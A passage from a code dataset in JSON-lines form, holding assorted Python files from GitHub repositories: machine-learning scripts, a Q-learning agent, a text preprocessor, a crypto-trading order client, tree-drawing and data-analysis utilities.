config[\"data\"][\"num_bins\"]\n\n # visualization tool\n if config[\"vis\"][\"enabled\"] or config[\"vis\"][\"store\"]:\n vis = Visualization(config, eval_id=eval_id)\n\n # data loader\n data = H5Loader(config, num_bins)\n dataloader = torch.utils.data.DataLoader(\n data,\n drop_last=True,\n batch_size=config[\"loader\"][\"batch_size\"],\n collate_fn=data.custom_collate,\n worker_init_fn=config_parser.worker_init_fn,\n **kwargs\n )\n\n # reconstruction settings\n model_reconstruction = eval(config[\"model_reconstruction\"][\"name\"])(config[\"model_reconstruction\"], num_bins).to(\n device\n )\n model_reconstruction = load_model(config[\"trained_model\"], model_reconstruction, device)\n model_reconstruction.eval()\n\n # optical flow settings\n flow_eval = config[\"model_flow\"][\"eval\"]\n if flow_eval:\n model_flow = eval(config[\"model_flow\"][\"name\"])(config[\"model_flow\"], num_bins).to(device)\n model_flow = load_model(config[\"trained_model\"], model_flow, device)\n model_flow.eval()\n\n # inference loop\n x_flow = {}\n x_flow[\"flow\"] = [None]\n end_test = False\n with torch.no_grad():\n while True:\n for inputs in dataloader:\n\n # reset states\n if data.new_seq:\n data.new_seq = False\n model_reconstruction.reset_states()\n\n # finish inference loop\n if data.seq_num >= len(data.files):\n end_test = True\n break\n\n # flow - forward pass\n if flow_eval:\n x_flow = model_flow(inputs[\"inp_voxel\"].to(device), inputs[\"inp_cnt\"].to(device))\n\n # reconstruction - forward pass\n x_reconstruction = model_reconstruction(inputs[\"inp_voxel\"].to(device))\n\n # visualize\n if config[\"vis\"][\"bars\"]:\n for bar in data.open_files_bar:\n bar.next()\n if config[\"vis\"][\"enabled\"]:\n vis.update(inputs, x_flow[\"flow\"][-1], None, x_reconstruction[\"image\"])\n if config[\"vis\"][\"store\"]:\n sequence = data.files[data.batch_idx[0] % len(data.files)].split(\"/\")[-1].split(\".\")[0]\n vis.store(\n inputs,\n x_flow[\"flow\"][-1],\n None,\n x_reconstruction[\"image\"],\n sequence,\n ts=data.last_proc_timestamp,\n )\n\n if end_test:\n break\n\n if config[\"vis\"][\"bars\"]:\n for bar in data.open_files_bar:\n bar.finish()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"trained_model\", help=\"model to be evaluated\")\n parser.add_argument(\n \"--config\",\n default=\"configs/eval_reconstruction.yml\",\n help=\"config file, overwrites model settings\",\n )\n args = parser.parse_args()\n\n # launch testing\n test(args, YAMLParser(args.config))\n","repo_name":"tudelft/ssl_e2vid","sub_path":"eval_reconstruction.py","file_name":"eval_reconstruction.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"78"} +{"seq_id":"71207328571","text":"import numpy as np\nfrom typing import List, Tuple\n\nfrom model.grid_world import Action\n\nclass QAgent:\n def __init__(self, height: int, width: int, epsilon: float = 0.3, alpha: float = 0.1, gamma: float = 0.9):\n self.q_table = {}\n for x in range(width):\n for y in range(height):\n self.q_table[(y,x)] = {Action.UP:0, Action.DOWN:0, Action.RIGHT:0, Action.LEFT:0, Action.STAY:0} # Populate sub-dictionary with zero values for possible moves\n\n self.epsilon = epsilon\n self.alpha = alpha\n self.gamma = gamma\n\n def choose_action(self, actions: List[Action], agent_current_state: Tuple[int, int]) -> Action:\n if np.random.uniform(0,1) < self.epsilon:\n action = actions[np.random.randint(0, len(actions))]\n else:\n state_q_values = self.q_table[agent_current_state]\n maxValue = max(state_q_values.values())\n action = np.random.choice([k for k, v in state_q_values.items() if v == maxValue])\n \n return action\n \n def update_q_values(self, agent_current_state, reward, agent_new_state, action):\n new_state_q_values = self.q_table[agent_new_state]\n new_state_max_q_value = max(new_state_q_values.values())\n current_q_value = self.q_table[agent_current_state][action]\n \n self.q_table[agent_current_state][action] = current_q_value + self.alpha * (reward + self.gamma * new_state_max_q_value - current_q_value)","repo_name":"johnnysouza/RL_object_transport_single_agent","sub_path":"src/model/q_agent.py","file_name":"q_agent.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71489617213","text":"import unicodedata\nimport re\nimport nltk\nfrom nltk.corpus import stopwords\nimport sklearn\nfrom bs4 import BeautifulSoup\n\n# nltk.download(\"popular\")\n# nltk.download('tagsets')\n\nclass Preprocessor():\n def __init__(self, texts):\n self.texts = texts\n self.corpus = ' '.join(self.texts)\n self.stop_words = set(stopwords.words('english'))\n \n def transform_to_lowercase(self, text=None):\n return text.lower()\n \n def strip_html_tags(self, text):\n soup = BeautifulSoup(text, \"html.parser\")\n stripped_text = soup.get_text()\n return stripped_text\n \n def remove_accented_chars(self, text):\n text = unicodedata.normalize('NFKD', text).encode('ascii', 'ignore').decode('utf-8', 'ignore')\n return text\n \n def remove_special_characters(self, text):\n text = re.sub('[^a-zA-z0-9\\s]', '', text)\n return text\n \n# def contaction(self, text):\n# return ' '.join([contraction_mapping[t] if t in contraction_mapping else t for t in text(\" \")])\n\n def clean(self, text=None, lower=True, strip_html=True, contract=True, remove_accented_chars=True,\n special_char_removal=True, remove_stop_words=True):\n if not text:\n text = self.corpus\n if lower:\n text = self.transform_to_lowercase(text)\n if strip_html:\n text = self.strip_html_tags(text)\n if remove_accented_chars:\n text = self.remove_accented_chars(text)\n if special_char_removal:\n text = self.remove_special_characters(text)\n if remove_stop_words:\n tokens = nltk.word_tokenize(text)\n cleaned_tokens = [word for word in tokens if word not in self.stop_words]\n text = ' '.join(cleaned_tokens)\n return text","repo_name":"cedaus/ml-engine","sub_path":"text-classifier/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19207895868","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val, prev, next, child):\n self.val = val\n self.prev = prev\n self.next = next\n self.child = child\n\"\"\"\n\nclass Solution:\n def flatten(self, head: 'Node') -> 'Node':\n def recursive(cur: 'Node', prev: 'Node') -> 'Node':\n #print(cur.val)\n next = cur.next\n child = cur.child\n cur.prev = prev\n last = cur\n \n if child:\n last.child = None\n last.next = child\n last = recursive(child, cur)\n \n if next:\n last.next = next\n last = recursive(next, last)\n \n \n \n return last\n \n \n def flattern_dfs(prev: 'Node', curr: 'Node') -> 'Node':\n if not curr:\n return prev\n prev.next = curr\n curr.prev = prev\n next = curr.next\n \n tail = flattern_dfs(curr, curr.child)\n curr.child = None\n tail = flattern_dfs(tail, next)\n return tail\n \n if not head:\n return\n \n pseudo_head = Node(0, None, head, None)\n stack = []\n prev = pseudo_head\n stack.append(head)\n \n while stack:\n curr = stack.pop()\n prev.next = curr\n curr.prev = prev\n \n if curr.next:\n stack.append(curr.next)\n if curr.child:\n stack.append(curr.child)\n curr.child = None\n prev = curr\n pseudo_head.next.prev = None\n return pseudo_head.next\n \n #flattern_dfs(pseudo_head, head)\n #pseudo_head.next.prev = None\n return pseudo_head.next\n #recursive(head, None)\n\n return head\n","repo_name":"michaelhuo/pcp","sub_path":"430.py","file_name":"430.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9784567760","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Week 2 Assignment\n\n# Regression - price dengan review per month \n\n# In[30]:\n\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn import linear_model\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport seaborn as sb\nfrom sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error\n\n\n# In[31]:\n\n\ndata = pd.read_csv(\"listings.csv\",delimiter = \",\")\nprint(data.isna().values.any())\n#isi yang kosong dengan angka 8\ndatafill = data.fillna(8)\nprint(datafill.isna().values.any())\n\n\n# Regression - price\n\n# In[32]:\n\n\ntrain,test = train_test_split(datafill,test_size = 0.2)\nrlm = linear_model.LinearRegression()\nrlm.fit(train[[\"price\"]], train[[\"reviews_per_month\"]])\nprint(\"Coefficients : \", rlm.coef_)\nprint(\"Intercept : \", rlm.intercept_)\n\n\n# In[33]:\n\n\nplt.scatter(train[[\"price\"]], train[[\"reviews_per_month\"]], color = \"red\")\nplt.plot(train[[\"price\"]], rlm.coef_ * train [[\"price\"]] + rlm.intercept_, '-g')\nplt.xlabel(\"Price\")\nplt.ylabel(\"Review per Month\")\n# plt.rcParams[\"figure.figsize\"] = [9,7]\nplt.show()\n\n\n# Predictdata\n\n# In[35]:\n\n\nprediction = rlm.predict(test[[\"price\"]])\nfor i in range(len(test)):\n print(test[[\"price\"]].values[i], prediction[i]) #prediksi jika price segini maka reeview per month nya segini\n\nprint(\"MAE : \", mean_absolute_error(test[[\"reviews_per_month\"]], prediction))\nprint(\"MSE : \", mean_squared_error(test[[\"reviews_per_month\"]], prediction))\nprint(\"R2 : \", r2_score(test[[\"reviews_per_month\"]], prediction))\n\n\n# # KNN - Classification\n\n# Price, Latitude --> type room\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import accuracy_score, mean_squared_error, mean_absolute_error\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import OrdinalEncoder\n\n\n# In[3]:\n\n\ndata = pd.read_csv(\"listings.csv\",delimiter = \",\")\nprint(data.isna().values.any())\n#isi yang kosong dengan angka 0\ndatafill = data.fillna(0)\nprint(datafill.isna().values.any())\n\n\n# In[4]:\n\n\ntrain, test = train_test_split(datafill,test_size = 0.2)\n\n\n# In[5]:\n\n\nKNN = KNeighborsClassifier(n_neighbors = 4).fit(train[[\"price\",\"latitude\"]],train[\"room_type\"])\n\n\n# In[37]:\n\n\n# predict new data\nnewdata = KNN.predict([[23,1.45],[18,1.31]])\nprint(newdata)\nprint()\ncsf = KNN.predict(test[[\"price\",\"latitude\"]])\naccuracy = accuracy_score(test[\"room_type\"],csf)\narray = data[['room_type']]\narray = OrdinalEncoder().fit_transform(array)\n\nprint(\"ACC : %.2f\"%accuracy)\n\n\n# In[25]:\n\n\nn = 30\naccuracy = np.zeros((n-1))\nfor i in range(1, n): \n KNN = KNeighborsClassifier(n_neighbors = i).fit(train[[\"price\", \"latitude\"]], train[\"room_type\"]) \n classification = KNN.predict(test[[\"price\", \"latitude\"]])\n accuracy[i - 1] = accuracy_score(test[\"room_type\"], classification)\n \nprint(\"Best ACC : %.2f\" % accuracy.max(), \", with k = \", accuracy.argmax() + 1)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"raymondtheja/Assignment","sub_path":"Week2Assignment.py","file_name":"Week2Assignment.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71011228732","text":"#!/usr/bin/python3\n__author__ = 'tomarovsky'\nfrom ete3 import TextFace, Tree, faces, AttrFace, TreeStyle, NodeStyle\nfrom argparse import ArgumentParser\nfrom matplotlib.patches import Patch\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef newick_to_nhx(newick_file) -> str:\n with open(newick_file, 'r') as file:\n tree_string = ''\n newick = file.readline().replace(\"_\", \" \").strip().split(\"'\")\n tree_string += newick[0]\n for i in range(1, len(newick), 2):\n line = ''\n flag = True\n for s in newick[i+1]:\n if s == \")\" or s == \",\":\n if flag is True:\n nhx = newick[i].replace(',', '.').replace(';', ':')[1:]\n line += f\"[&&NHX:{nhx}{s}\"\n flag = False\n else:\n line += s\n else:\n line += s\n tree_string += line\n # print(tree_string)\n return tree_string\n\n\ndef mylayout(node):\n if node.is_leaf():\n N = AttrFace(\"name\", fgcolor=\"black\", text_prefix=\" \", fstyle=\"italic\", fsize=12)\n faces.add_face_to_node(N, node, 0)\n node.img_style[\"size\"] = 1\n node.img_style[\"shape\"] = \"circle\"\n node.img_style[\"fgcolor\"] = \"Black\"\n node.dist = 0 # ASTRAL does not generate terminal branch lengths\n\n\ndef export_legend(palette, filename, dpi=400):\n # Create empty figure with the legend\n handles = [Patch(label=f\">= {label}\", color=color) for label, color in palette.items()]\n fig = plt.figure()\n legend = fig.gca().legend(handles=handles, framealpha=1, frameon=True,\n title = \" Colors of \\nnormalized values\") # spaces to center title\n # Render the legend\n fig.canvas.draw()\n # Export the figure, limiting the bounding box to the legend area,\n # slighly extended to ensure the surrounding rounded corner box of\n # is not cropped. Transparency is enabled, so it is not an issue.\n bbox = legend.get_window_extent().padded(2)\n bbox = bbox.transformed(fig.dpi_scale_trans.inverted())\n fig.savefig(filename, dpi=dpi, transparent=True, bbox_inches=bbox)\n # Delete the legend along with its temporary figure\n plt.close(fig)\n\n\ndef main():\n t = Tree(newick_to_nhx(args.input))\n if args.outgroup:\n t.set_outgroup(args.outgroup)\n else:\n t.unroot()\n ts = TreeStyle()\n ts.mode = \"r\"\n ts.layout_fn = mylayout\n ts.show_leaf_name = False\n for n in t.traverse():\n nstyle = NodeStyle()\n nstyle[\"fgcolor\"] = \"Blue\"\n nstyle[\"size\"] = 0\n n.set_style(nstyle)\n if hasattr(n,\"q1\"):\n if args.color_by_value:\n for metric in args.metrics:\n value = float(getattr(n, metric))\n normalized_value = value / args.number_of_genes * 100 if metric == 'EN' else value * 100\n for threshold in sorted(args.thresholds_and_colors.keys()):\n if normalized_value >= threshold:\n color = args.thresholds_and_colors[threshold] if metric in args.colored_metrics_whitelist else \"Black\"\n if args.show_normalized_values:\n value = normalized_value\n if len(metric) <= 2:\n n.add_face(TextFace(f\" {metric} = \"), column=1, position=\"branch-top\")\n else:\n n.add_face(TextFace(f\" {metric} = \"), column=1, position=\"branch-top\")\n n.add_face(TextFace(f\"{value:.2f} \", fgcolor = color), column=2, position=\"branch-top\")\n else: # color by constant colors\n for metric, color in zip(args.metrics, args.colors): # may be 'stable colors'\n value = float(getattr(n, metric))\n if args.show_normalized_values:\n value = value / args.number_of_genes * 100 if metric == 'EN' else value * 100\n color = \"Black\" if metric not in args.colored_metrics_whitelist else color\n n.add_face(TextFace(f\" {metric}={value:.2f} \", fgcolor = color), column=2, position=\"branch-top\")\n\n ts.show_branch_length = False\n ts.show_branch_support = False\n ts.branch_vertical_margin = -4\n if args.show:\n t.show(tree_style=ts)\n else:\n for f in args.output_formats:\n t.render(f\"{args.output}.{f}\", w=args.width, units=\"px\", tree_style=ts)\n if args.color_by_value:\n export_legend(args.thresholds_and_colors, f\"{args.output}.legend.png\")\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser(description=\"script to visualize ASTRAL lll phylogenetic trees using ete3 (required python3 < 3.10)\")\n group_required = parser.add_argument_group('Required options')\n group_required.add_argument('-i', '--input', type=str, help=\"NEWICK treefile from Astral lll with full annotation option (-t 2)\")\n group_required.add_argument('-o', '--output', type=str, help=\"outfile prefix\")\n group_additional = parser.add_argument_group('Additional options')\n group_additional.add_argument('-g', '--outgroup', type=str, default=False, help=\"outgroup species name (default = unrooted)\")\n # colorification:\n group_additional.add_argument('-m', '--metrics', type=lambda s: list(map(str, s.split(\",\"))),\n default=['q1', 'q2', 'pp1', 'pp2', 'EN'], help=\"comma-separated list of necessary metrics\")\n group_additional.add_argument('--color_per_metric', type=lambda s: list(map(str, s.split(\",\"))),\n default=['Black', 'Black', 'Black', 'Black', 'Black'], help=\"comma-separated list of constant colors per metrics\")\n group_additional.add_argument('-c', '--color_by_value', action=\"store_true\", default=False, help=\"colors per metrics (disables '--color_per_metric' option)\")\n group_additional.add_argument('--thresholds_and_colors', type=lambda s: dict(zip([int(s) for i in s[::2]], s[1::2])),\n default={90: 'Green', 70: 'Purple', 50: 'Blue', 0: 'Red'}, help=\"colors per metrics (disables '--color_per_metric' option).\"\n \"Example input: '90,Green,70,Gold,50,OrangeRed,0,Red'. \"\n \"This means that normalized values above 90 will be colored Green, values above 70 will be colored Gold, etc.\")\n group_additional.add_argument('-n', '--number_of_genes', type=int,\n help=\"total number of gene trees in ASTRAL input treefle (necessary to normalize 'EN' option value)\")\n group_additional.add_argument('-w', '--colored_metrics_whitelist', type=lambda s: list(map(str, s.split(\",\"))),\n default=['q1', 'pp1', 'EN'], help=\"comma-separated list of metrics for colorification (default metric color is 'Black')\")\n group_additional.add_argument('--show_normalized_values', action=\"store_true\", default=False, help=\"show normalized metric values\")\n # figure options:\n group_additional.add_argument('--width', type=int, default=1500, help=\"width for result rendering\")\n group_additional.add_argument('--show', action=\"store_true\", help=\"option to show tree using GUI\")\n group_additional.add_argument(\"-e\", \"--output_formats\", dest=\"output_formats\", type=lambda s: s.split(\",\"),\n default=(\"png\", \"svg\"), help=\"Comma-separated list of formats (supported by ete3) of output figure. Default: svg,png\")\n args = parser.parse_args()\n main()\n\n","repo_name":"tomarovsky/Biocrutch","sub_path":"scripts/Phylo/draw_phylotrees_from_astral.py","file_name":"draw_phylotrees_from_astral.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"31645285723","text":"from abc import ABC, abstractmethod\nimport os\n\nfrom binance_client import BinanceClient\n\nfrom constants import (\n BTCUSDT, ETHUSDT, ETHBTC, RIGHT_TRIANGLE_STRATEGY, LOG_FILE_PATH,\n ORDER_TYPE_MARKET, SIDE_BUY, SIDE_SELL\n)\nfrom logger import CryptoLogger\n\n\nlogger = CryptoLogger(__name__, file_path=LOG_FILE_PATH)\n\n\nclass TradingOrder(ABC):\n\n def __init__(self, pair, quantity):\n self.pair = pair\n self.quantity = quantity\n self.client = BinanceClient(\n api_key=os.getenv('BINANCE_API_KEY'),\n api_secret=os.getenv('BINANCE_API_SECRET'),\n )\n\n @abstractmethod\n def execute(self):\n pass\n\n\nclass BuyOrder(TradingOrder):\n\n def execute(self):\n self.client.create_order(\n symbol=self.pair, side=SIDE_BUY,\n type=ORDER_TYPE_MARKET, quantity=self.quantity\n )\n logger.info(f\"Bought {self.quantity} {self.pair}\")\n\n\nclass SellOrder(TradingOrder):\n\n def execute(self):\n self.client.create_order(\n symbol=self.pair, side=SIDE_SELL,\n type=ORDER_TYPE_MARKET, quantity=self.quantity\n )\n logger.info(f\"Sold {self.quantity} {self.pair}\")\n\n\nclass TradingBatch:\n def __init__(self, order_batch):\n self.order_batch = order_batch\n\n def execute(self):\n for order in self.order_batch:\n order.execute()\n\n\nclass TradingClient:\n def __init__(self, strategy):\n self.strategy = strategy\n self.orders = []\n\n def start(self):\n self.load_orders()\n self.execute_orders()\n\n def add_order(self, order):\n self.orders.append(order)\n\n def execute_orders(self):\n batch = TradingBatch(self.orders)\n batch.execute()\n logger.info(f\"Orders executed for {self.strategy.name} strategy\")\n\n def load_orders(self, base_quantity=0.016):\n last_prices = self.strategy.get_last_prices()\n\n if self.strategy.name == RIGHT_TRIANGLE_STRATEGY:\n btc_quantity = float(\n (last_prices[ETHUSDT]['ask'] * base_quantity) /\n last_prices[BTCUSDT]['bid']\n )\n btc_quantity = round(btc_quantity, 5)\n\n self.add_order(SellOrder(BTCUSDT, btc_quantity))\n self.add_order(BuyOrder(ETHUSDT, base_quantity))\n self.add_order(SellOrder(ETHBTC, base_quantity))\n else:\n btc_quantity = float(\n last_prices[ETHBTC]['ask'] * base_quantity\n )\n btc_quantity = round(btc_quantity, 5)\n\n self.add_order(BuyOrder(ETHBTC, base_quantity))\n self.add_order(SellOrder(ETHUSDT, base_quantity))\n self.add_order(BuyOrder(BTCUSDT, btc_quantity))\n","repo_name":"RobertArzolaC/crypto-triangulation","sub_path":"binance_orders.py","file_name":"binance_orders.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27434198456","text":"import Tkinter\nmain = Tkinter.Tk()\nmain.geometry(\"240x180\")\nmain.title(\"iFraction Bars\")\nmain.attributes(\"-alpha\", 0.85)\ncanvas = Tkinter.Canvas(main, width = 200, height = 99999999)\nframe = Tkinter.Frame(main)\nframe.pack()\ncoords = 0\nwhole = Tkinter.Entry(frame, width = 2)\nnumerator = Tkinter.Entry(frame, width = 2)\ndenominator = Tkinter.Entry(frame, width = 2)\nwhole.pack(side = \"left\")\nnumerator.pack(side = \"left\")\nTkinter.Label(frame, text = \"/\").pack(side = \"left\")\ndenominator.pack(side = \"left\")\ndef fraction():\n\tglobal coords\n\tcoords = 0\n\tcount_up = 0\n\tchange_color = 0\n\tcolor = \"gray\"\n\tcount = int(numerator.get())\n\tcanvas.delete(\"all\")\n\tif whole.get():\n\t\tcount = int(whole.get()) * int(denominator.get()) + int(numerator.get())\n\t\tchange_color = int(whole.get())\n\tif count > int(denominator.get()):\n\t\twhile count > int(denominator.get()):\n\t\t\tcolor = \"blue\"\n\t\t\tif change_color > 0:\n\t\t\t\tcolor = \"green\"\n\t\t\t\tchange_color = change_color - 1\n\t\t\tcount_up = count_up + 0\n\t\t\tcoords = (count_up * 20) + (count_up * 4)\n\t\t\tcanvas.create_rectangle(0, coords, 200, coords + 20, fill = color)\n\t\t\tcount = count - int(denominator.get())\n\t\t\tcount_up = count_up + 1\n\t\t\tcoords = (count_up * 20) + (count_up * 4)\n\t\tcanvas.create_rectangle(0, coords, 200 / int(denominator.get()) * count, coords + 20, fill = \"red\")\n\telse:\n\t\tcanvas.create_rectangle(0, coords, (200 / int(denominator.get())) * int(numerator.get()), coords + 20, fill = \"red\")\n\tcanvas.create_rectangle(0, coords, 200, coords + 20)\n\tcanvas.pack()\nTkinter.Button(frame, text = \"iFraction\", command = fraction).pack(side = \"left\")\nTkinter.mainloop()","repo_name":"williamqin123/old-python","sub_path":"Fractions.py","file_name":"Fractions.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10586093550","text":"import json\nimport logging\nimport collections\nfrom flask import jsonify\nimport yaml, os, sys, subprocess\n\nconf = {}\n\nlog = logging.getLogger()\ntry:\n with open('config.yaml', 'r') as f:\n conf = yaml.load(f)\nexcept FileNotFoundError:\n log.warning(\"Config file not fould, going with env vars\")\n\nEMPTY_RESPONSE = {'num_faces':0, 'smile': 0.0, 'age': 0, 'males': 0, 'females': 0, 'anger': 0.0, 'contempt': 0.0, 'disgust': 0.0, 'fear': 0.0, 'happiness': 0.0, 'neutral': 0.0, 'sadness': 0.0, 'surprise': 0.0}\n\ndef get_setting(category, setting_name):\n '''\n returns a setting either from config.yaml of from local environment.\\\n When retrieving form local environment the category and variable names transformed\\\n to upper case and joined together. E.g COGNITIVE_SERVICES_SUBSCRIPTION_KEY\n '''\n env_var_name = category.upper() + '_' + setting_name.upper()\n cat, nm = category.lower() , setting_name.lower()\n\n if env_var_name in os.environ:\n return os.environ[env_var_name]\n elif cat in conf and nm in conf[cat]:\n return conf[cat][nm]\n else:\n raise ValueError(\"No setting found - category: {} name: {}, or env var {}\"\n .format(cat, nm, env_var_name))\n\n\ndef get_agg_face_attrs(js):\n '''\n TODO: figure out how to reduce code here\n '''\n\n #handling no face situation\n if js == []:\n log.info(\"No face. returning empty response\")\n return EMPTY_RESPONSE\n\n faces = 0\n sumFaceAttr = collections.Counter()\n sumEmotionAttr = collections.Counter()\n\n returnDict = {}\n\n for i in js:\n #transform json\n for k, v in i.items():\n log.debug(str(k) + \":\" + str(v))\n if k == \"faceId\":\n faces += 1\n if k == \"faceAttributes\":\n sumEmotionAttr.update(i[k]['emotion'])\n del(i[k]['emotion'])\n i[k]['males'] = 1 if i[k]['gender'] == 'male' else 0\n i[k]['females'] = 1 if i[k]['gender'] == 'female' else 0\n del(i[k]['gender'])\n sumFaceAttr.update(i[k])\n returnDict['num_faces'] = faces\n returnDict.update(sumFaceAttr)\n returnDict.update(sumEmotionAttr)\n\n log.debug(str(returnDict))\n\n return returnDict\n\ndef bad_message(msg):\n msg = {\"status\": 400,\n \"message\": msg\n }\n resp = jsonify(msg)\n resp.status_code = 400\n return resp\n\ndef set_env(exclude_cat = ['web_app'], return_values = False):\n '''\n Sets env vars from config. Returns list of set environment variables\n '''\n vlist = []\n for i in conf.keys():\n if i not in exclude_cat:\n for j in conf[i].keys():\n env_var_name = i.upper() + '_' + j.upper()\n\n os.environ[env_var_name] = str(conf[i][j])\n if return_values:\n vlist.append('{}=\"{}\"'.format(env_var_name, conf[i][j]) )\n else:\n vlist.append(env_var_name)\n return vlist\n\n\n\n\n\n\n\n\n\n","repo_name":"vykhand/audience-analysis","sub_path":"lib/aa_backend/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73786774330","text":"#Carson going to France\r\nprint(\"Carson has 1200 dollars and is going to France.\")\r\n\r\nd = 1200\r\nE = 1200 / 1.20\r\n\r\nprint(\"Carson will have \", E ,\" euros.\")\r\n\r\n\r\n#Tuition\r\nt = 52170\r\nrb = 15410\r\nmf = 500\r\nbs = 1223\r\nope = 1000\r\ntek = 660\r\ncost = t + rb + mf + bs + ope + tek\r\n\r\nprint(\"Going to John Hopkins University for freshman year will cost $\",cost,\".\")\r\n\r\n#Record\r\n\r\nfeet = round(2.45 * 3.281)\r\n\r\nprint(\"Javier Sotomayor can jump \", feet ,\" feet.\")\r\n","repo_name":"DarkRose2021/PythonProjects-2018","sub_path":"pprob1.py","file_name":"pprob1.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31889874041","text":"import numpy as np\nfrom load_dataset import joe097 as monkey\nimport matplotlib.pyplot as plt\n\n\nsampling_rate = 1.0 # ms\noffset = -1000 # ms\n\ndata_arrays = monkey['data_arrays']\nsources = monkey['sources']\ntags = monkey['tags']\n\n# Here we load the spikes activities\nspike_activity_1 = data_arrays['SpikeActivity Unit 5 Target 1/data']\nspike_activity_2 = data_arrays['SpikeActivity Unit 5 Target 2/data']\nspike_activity_3 = data_arrays['SpikeActivity Unit 5 Target 3/data']\nspike_activity_4 = data_arrays['SpikeActivity Unit 5 Target 4/data']\nspike_activity_5 = data_arrays['SpikeActivity Unit 5 Target 5/data']\nspike_activity_6 = data_arrays['SpikeActivity Unit 5 Target 6/data']\n\n# Now we will build the raster plot for one of the targets\n\nspike_activities = [spike_activity_1, spike_activity_2, spike_activity_3,\n spike_activity_4, spike_activity_5, spike_activity_6]\n\n\nmean = np.zeros(6)\ntime_window = 230\nvariability = np.array([])\n\nfor index, spike_activity in enumerate(spike_activities):\n target = index + 1\n n_trials = spike_activity.shape[1]\n\n time_window_spikes = spike_activity[1000:1000 + time_window]\n firing_rate = np.sum(time_window_spikes, axis=0) * 1000.0 / time_window\n ones = np.ones(firing_rate.size) * target\n plt.plot(ones, firing_rate, 'ob')\n plt.hold(True)\n mean[index] = np.mean(firing_rate)\n variability = np.concatenate((variability, firing_rate - mean[index]))\n\nsignal_variance = np.var(mean)\nnoise_variance = np.var(variability)\nSNR = signal_variance / noise_variance\n\ntargets = np.arange(1, 7)\nplt.plot(targets, mean, '-', label='SNR = ' + '{:.2f}'.format(SNR))\nplt.legend()\nplt.xlim([0, 7])\nplt.show()\n","repo_name":"h-mayorquin/g_node_data_analysis_205","sub_path":"2_day/firing_rate.py","file_name":"firing_rate.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1564075648","text":"import torch\nimport torch.utils.data as data_utl\nfrom PIL import Image\nimport torchvision.transforms as transforms\n\nclass datasetLoader(data_utl.Dataset):\n\n def __init__(self, split_file, root, train_test, random=True, c2i={}):\n self.class_to_id = c2i\n self.id_to_class = []\n\n # Class assignment\n for i in range(len(c2i.keys())):\n for k in c2i.keys():\n if c2i[k] == i:\n self.id_to_class.append(k)\n cid = 0\n\n # Image pre-processing\n self.data = []\n self.transform = transforms.Compose([\n transforms.Resize([224, 224]),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485],std=[0.229])\n ])\n\n # Reading data from CSV file\n SegInfo=[]\n with open(split_file, 'r') as f:\n for l in f.readlines():\n v= l.strip().split(',')\n if train_test == v[0]:\n image_name = v[2]\n imagePath = root +image_name\n c = v[1]\n if c not in self.class_to_id:\n self.class_to_id[c] = cid\n self.id_to_class.append(c)\n cid += 1\n # Storing data with imagepath and class\n self.data.append([imagePath, self.class_to_id[c]])\n\n\n self.split_file = split_file\n self.root = root\n self.random = random\n self.train_test = train_test\n\n\n def __getitem__(self, index):\n imagePath, cls = self.data[index]\n imageName = imagePath.split('\\\\')[-1]\n\n # Reading of the image\n path = imagePath\n img = Image.open(path)\n\n # Applying transformation\n tranform_img = self.transform(img)\n img.close()\n\n # Repeat NIR single channel thrice before feeding into the network\n tranform_img= tranform_img.repeat(3,1,1)\n\n return tranform_img[0:3,:,:], cls, imageName\n\n def __len__(self):\n return len(self.data)\n\nif __name__ == '__main__':\n\n dataseta = datasetLoader('../TempData/Iris_OCT_Splits_Val/test_train_split.csv', 'PathToDatasetFolder', train_test='train')\n\n for i in range(len(dataseta)):\n print(len(dataseta.data))\n","repo_name":"iPRoBe-lab/D-NetPAD","sub_path":"dataset_Loader.py","file_name":"dataset_Loader.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"78"} +{"seq_id":"21750118028","text":"import SVMTK as svmtk\nimport time\n\n# Import surfaces, and merge lh/rh white surfaces\nventricles = svmtk.Surface(\"surfaces/lh.ventricles.stl\") \nlhpial = svmtk.Surface(\"surfaces/lh.pial.stl\") \nrhpial = 